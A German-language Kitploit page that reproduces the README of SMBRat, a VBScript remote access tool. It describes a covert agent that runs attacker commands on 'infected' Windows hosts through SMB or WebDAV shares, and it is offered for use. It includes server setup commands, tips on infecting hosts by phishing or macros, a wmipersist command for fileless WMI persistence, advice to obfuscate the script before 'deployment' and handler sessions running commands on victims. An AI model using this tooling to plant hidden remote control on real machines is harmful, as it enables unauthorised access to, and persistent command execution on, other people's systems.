Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
SMBRat — Ein Windows-Fernverwaltungstool in Visual Basic mit UNC-Pfaden | Kitploit
Tools/GitHubGitHub/operatorequals/smbrat
Phishing-ToolsPayload-GenerierungPersistenzmechanismenExploitationLaterale BewegungShellcodePost-ExploitationPenetrationstestsCommand and ControlRed TeamingRemote-Access-Tool
2212vor 7 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHub
operatorequals/smbrat

SMBRat

Ein Windows-Fernverwaltungstool in Visual Basic mit UNC-Pfaden

Repository anzeigen

SMBRat

Ein Windows-Remote-Administrationstool in Visual Basic Script

Idee

Windows-Umgebungen wie Active-Directory-Netzwerke werden durch SMB-Datenverkehr richtig aufgebläht.

Alle Hosts beziehen Richtlinien aus dem SYSVOL, Konfigurationen benötigen Remote-Dateien, um zu funktionieren, Desktop-Verknüpfungen zeigen oft auf \\something\else\in\the\network.exe.

Niemand würde einen weiteren Verbindungsversuch bemerken. Oder?

- Besonders wenn er erfolgreich ist (es ist Mode, nur Firewall-Denies zu überwachen)

Zutaten

Agent

Dokumentations-/Archivierungsfreundlich

Der agent ist ein Visual Basic Script, das auf dem infizierten Host läuft und eine Verbindung zum SMB-Server herstellt. Dort erstellt er ein Verzeichnis, das nach dem hostname und der primären MAC-Adresse des Hosts benannt ist (um für Berichtszwecke gleichzeitig eindeutig und aussagekräftig zu sein). Alle Befehle und Informationen für den infizierten Host werden in diesem Verzeichnis gespeichert. Wenn Sie den gesamten freigegebenen Ordner zippen, wird das gesamte Projekt archiviert!

Unauffällig

Es verwendet KEINEN Laufwerksbuchstaben, um die Freigabe einzubinden, sondern nutzt nur UNC paths, um Remote-Dateien direkt zu lesen (in explorer.exe wird kein Laufwerk erstellt).

Außerdem injiziert es den UNC path in die %PATH%-Variable seiner eigenen Ausführungsumgebung (Sie können ausführbare Dateien direkt vom Dateisystem Ihrer Linux-Maschine aus ausführen).

Ausführung des Agents

Der agent ist so konfiguriert, dass er einmal läuft. Zustandslos.

Seine Routine sieht (mehr oder weniger) wie folgt aus:

  • Er sucht in dem Ordner, den er in der SMB-Freigabe erstellt hat, nach einer Datei namens exec.dat.
  • Wenn er die Datei findet, liest er deren Inhalt und führt ihn mit cmd.exe /c <command> als Befehl aus, ähnlich wie eine halb-interaktive Shell.
  • Die Antwort des Befehls wird in output.dat gespeichert (neben exec.dat).
  • Löscht die Datei exec.dat.
Wiki-Seite zum Einrichten des Agents

Handler

Der handler benötigt einen SMB-Server, um zu funktionieren. Das smbserver.py-Modul aus dem Paket das impacket von Core Security reicht aus.

Wahrscheinlich würde smbd den Zweck ebenfalls erfüllen, wurde aber noch nicht getestet.

Einrichten des SMB-Servers

Eine Freigabe mit dem Namen D$ ist erforderlich, um wie das SMB eines legitimen Windows-Hosts auszusehen.

root@kitploit:~
# mkdir Share
# smbserver.py -comment "My Share" "D$" Share/
Impacket v0.9.17-dev - Copyright 2002-2018 Core Security Technologies

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

Der WebDAV-Fall!

Da der agent so konfiguriert ist, dass er ausschließlich UNC paths verwendet, kann WebDAV mit null Änderungen ebenfalls genutzt werden. Anstelle eines SMB-Servers kann ein WebDAV-Server verwendet werden (ein großartiger WebDAV-Server mit SSL-Unterstützung ist wsgidav).

root@kitploit:~
# mkdir 'D$'
# wsgidav -p 80 -H 0.0.0.0 -r . --auth anonymous
[...] INFO    :  WsgiDAV/3.0.0 Python/2.7.16 Linux-4.19.0-kali3-amd64-x86_64-with-Kali-kali-rolling-kali-rolling
[...] INFO    :  Lock manager:      LockManager(LockStorageDict)
[...] INFO    :  Property manager:  None
[...] INFO    :  Domain controller: SimpleDomainController()
[...] INFO    :  Registered DAV providers by route:
[...] INFO    :    - '/:dir_browser': FilesystemProvider for path '/root/.virtualenvs/wsgidav/local/lib/python2.7/site-packages/wsgidav/dir_browser/htdocs' (Read-Only) (anonymous)
[...] INFO    :    - '/': FilesystemProvider for path '/tmp/DAV' (Read-Write) (anonymous)
[...] WARNING :  Basic authentication is enabled: It is highly recommended to enable SSL.
[...] WARNING :  Share '/:dir_browser' will allow anonymous read access.
[...] WARNING :  Share '/' will allow anonymous write access.
[...] INFO    :  Running WsgiDAV/3.0.0 Cheroot/6.5.4 Python/2.7.16
[...] INFO    :  Serving on http://0.0.0.0:80 ...

[...] INFO    :  192.168.163.130 - (anonymous) - [2019-04-18 14:57:53] "PROPFIND /D$/Project1/DESKTOP-I3NFOQ5-John-AA-BB-CC-DD-EE-FF/ping.dat" length=0, depth=0, elap=0.004sec -> 207 Multi-Status

Für die SSL-Unterstützung müssen die UNC-Pfade leicht geändert werden, von:

root@kitploit:~
\\<Server-IP>\DIR\

zu:

root@kitploit:~
\\<Server-IP>@SSL@443\DIR\

Diese Änderung kann nur an der Variablen ServerName in agent.vbs vorgenommen werden, da alle Pfade daraus konstruiert werden. Beachten Sie, dass die SSL-Zertifikate vom System, auf dem der agent läuft, als vertrauenswürdig eingestuft werden müssen. Selbstsignierte Zertifikate schlagen mit Warnungen fehl.

Infektionsschema

Einen Host über eine Datei infizieren

Eine While-Schleife kann am Anfang der Datei agent.vbs ergänzt werden, mit einer Verzögerungsanweisung von mehreren Sekunden (10 Sekunden sind ideal), und sie wird in der Lage sein, Windows-Hosts per Doppelklick / Phishing / Excel-Makros / usw. zu infizieren.

Eine while True-Schleife in VBS mit einer Verzögerung von 1 Sekunde sieht so aus:

root@kitploit:~
Do While True
	[...]
	WScript.Sleep 1000
Loop

Einen Host dateilos infizieren

Wenn ein Windows-Host jedoch RPC aktiviert hat, ist es möglich, die VBS-Datei als dateilose Schadsoftware über WMI und die fabelhaften Beispiele des impacket-Pakets mit einem Befehl wie dem folgenden zu installieren:

root@kitploit:~
$ examples/wmipersist.py '<username>:<password>@<hostname/ipaddress>' install -vbs agent.vbs -name smbrat -timer 10

Es ist auch möglich, das WMI-Tool bei lokalem Zugriff zu nutzen, um agent.vbs als dateilose Schadsoftware zu installieren.

Verschleierung?

Visual Basic-Skripte lassen sich gut verschleiern, base64-kodieren sowie minifizieren.

Es kann sehr nützlich sein, es vor dem „Deployment“ auszuprobieren 😉

  • Online-Tool zur VBS-Verschleierung
  • GitHub-Repository

Verzeichnisstruktur in der SMB-Freigabe

Niemals manuell Ordner im freigegebenen Ordner anlegen

Basisnutzung

Zum Zeitpunkt des Schreibens ist keine Handler-Shell implementiert, daher kann die Nutzung einfach mit einem Befehl wie watch erfolgen, um die Datei output.dat zu überwachen:

root@kitploit:~
$ watch -n0.2 cat Share/projectName/DESKTOP-XXXXXXX-AA\:BB\:CC\:DD\:EE\:FF/output.dat

und mit echo, um Daten in die Datei exec.dat zu schreiben:

root@kitploit:~
$ echo 'whoami /all' > Share/projectName/DESKTOP-XXXXXXX-AA\:BB\:CC\:DD\:EE\:FF/exec.dat

Das handler.py-Skript

Die experimentelle Shell funktioniert wie folgt:

root@kitploit:~
$ python handler.py Share/
SMBRat> 
# When a new host gets infected:
[+] Agent "DESKTOP-EG4OE7J" (00:0C:29:2B:9F:AF) just checked-in for Project: "projectName"

SMBRat> execall whoami /user

[>] Sending 'whoami /user' to "projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF" ...
		
SMBRat> 
[<] Response from 'projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF': 


USER INFORMATION
----------------

User Name           SID     
=================== ========
nt authority\system S-1-5-18

^^^^^^^^^^^^^^^^^^^^ projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF ^^^^^^^^^^^^^^^^^^^^
SMBRat> 
				

Wesentliche Fallstricke

SMBv1 ist nicht verschlüsselt :

root@kitploit:~
# tcpdump -i eth0 -A
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes

[...]

15:25:06.695502 IP Deskjet-4540.microsoft-ds > 172.16.47.129.3128: Flags [P.], seq 2876:2971, ack 4791, win 2110, length 95 SMB PACKET: SMBreadX (REPLY)

E...,E@[email protected].../.../....8
.&Mi~.6P..>.......[.SMB........................
.@............ .;........... .net localgroup "administrators"

[...]

15:25:06.702916 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 4917:5111, ack 3097, win 2052, length 194 SMB PACKET: SMBtrans2 (REQUEST)

E...E.@......./.../..8..i~..
.'*P....b.......SMB2......................

.F..z.....(...........z.D.........}..........\.p.r.o.j.e.c.t.N.a.m.e.\.D.E.S.K.T.O.P.-.E.G.4.O.E.7.J.-.0.0.:.0.C.:.2.9.:.2.B.:.9.F.:.A.F.\.o.u.t.p.u.t...d.a.t...

[...]

15:25:06.751372 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 6049:6393, ack 3748, win 2050, length 344 SMB PACKET: SMBwrite (REQUEST)

[email protected]../.../..8..i~. 
.).P....*.....T.SMB........................
.T....$.......'..$.Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Admin
Administrator
defaultuser0
The command completed successfully.

[...]

Der Datenverkehr (Datei-Inhalte und Pfade) wird im Klartext übertragen, wenn ein SMBv1-Server verwendet wird (z. B. smbserver.py von impacket).

  • Eine Verschlüsselungs-/Verschleierungsschicht würde dieses Problem vollständig lösen!

Die gesamte Freigabe ist für alle LESEN/SCHREIBEN zugänglich:

Alle Agenten können Dateien in der gesamten Freigabe ändern. Das bedeutet, sie können das exec.dat anderer Agenten ändern ... Ein smbmap wird Licht ins Dunkel bringen:

root@kitploit:~
$ smbmap -H 172.16.47.189
[+] Finding open SMB ports....
[+] User SMB session establishd on 172.16.47.189...
[+] IP: 172.16.47.189:445	Name: Deskjet-4540                                      
	Disk                                                  	Permissions
	----                                                  	-----------
	D$                                                	READ, WRITE
	[!] Unable to remove test directory at \\172.16.47.189\D$\SVNRmxBFAO, plreae remove manually
	IPC$                                              	READ, WRITE
	[!] Unable to remove test directory at \\172.16.47.189\IPC$\SVNRmxBFAO, plreae remove manually

Achten Sie auf das Fehlen der Parameter -u und -p von smbmap.

Dies ist eine NULL-Sitzung (wie ein anonymer FTP-Login). JEDER kann die SHARE-Dateien ändern und auf allen infizierten Maschinen Remote Code Execution erhalten.

  • Hier besser ein paar iptables-Regeln aufsetzen ...

Die Sitzungen sind NICHT interaktiv

Geben Sie execall netsh ein, und Sie haben alle Ihre Agenten verloren. Keiner wird antworten, da agent.vbs die netsh.exe-Shell startet und darauf wartet, dass sie beendet wird, damit es ihren Inhalt in output.dat schreiben kann. Aber raten Sie mal ... Sie wird sich nicht beenden ... Sie bleibt einfach mit dem netsh>-Prompt hängen, der ins Leere zeigt.

Tool herunterladen